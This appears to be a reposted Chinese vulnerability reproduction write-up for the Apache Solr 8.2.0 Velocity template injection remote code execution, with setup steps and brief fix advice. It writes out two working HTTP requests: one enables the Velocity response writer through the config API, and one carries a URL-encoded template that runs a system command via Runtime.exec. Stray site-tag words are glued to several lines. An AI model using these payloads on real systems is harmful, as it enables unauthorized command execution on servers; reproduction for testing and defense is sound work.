Apache Solr Velocity模板远程代码执行复现

0x01漏洞描述

2019年10月31日,国外安全研究员s00py在Github公开了一个Apache Solr Velocity模板注入远程命令执行的poc。html

通过研究,发现该0day漏洞真实有效而且能够攻击最新版本(8.2.0)的Solr。java

0x02CVE编号

git

0x03漏洞等级

高危github

0x04影响范围

包括但不限于8.2.0 apache

0x05漏洞复现

1)首先 下载Solr的环境json

https://www.apache.org/dyn/closer.lua/lucene/solr/8.2.0/solr-8.2.0.zip安全

poc所在地app

https : //gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txtlua

https://github.com/wyzxxz/Apache_Solr_RCE_via_Velocity_templatespa

2)解压并执行 

solr.cmd start

3)而后访问http:ip:8983

首先在Core Admin查看应用路径,此处为logadmin

 

 

4)而后访问查看该应用config文件是否能够访问

 

 

5)而后利用s00py公布的poc修改向config发送json配置继续修改

POST /solr/test/config HTTP/1.1 Host: solr:8983 Content-Type: application/json Content-Length: 259 { "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }

 

 

 

6)修改为功后可利用poc执行任意代码

GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

 

 

 

 

0x06 修复建议

  • 对solr增长访问控制
  • 及时关注官方补丁

原文出处:https://www.cnblogs.com/Sylon/p/11771910.html

相关文章
相关标签/搜索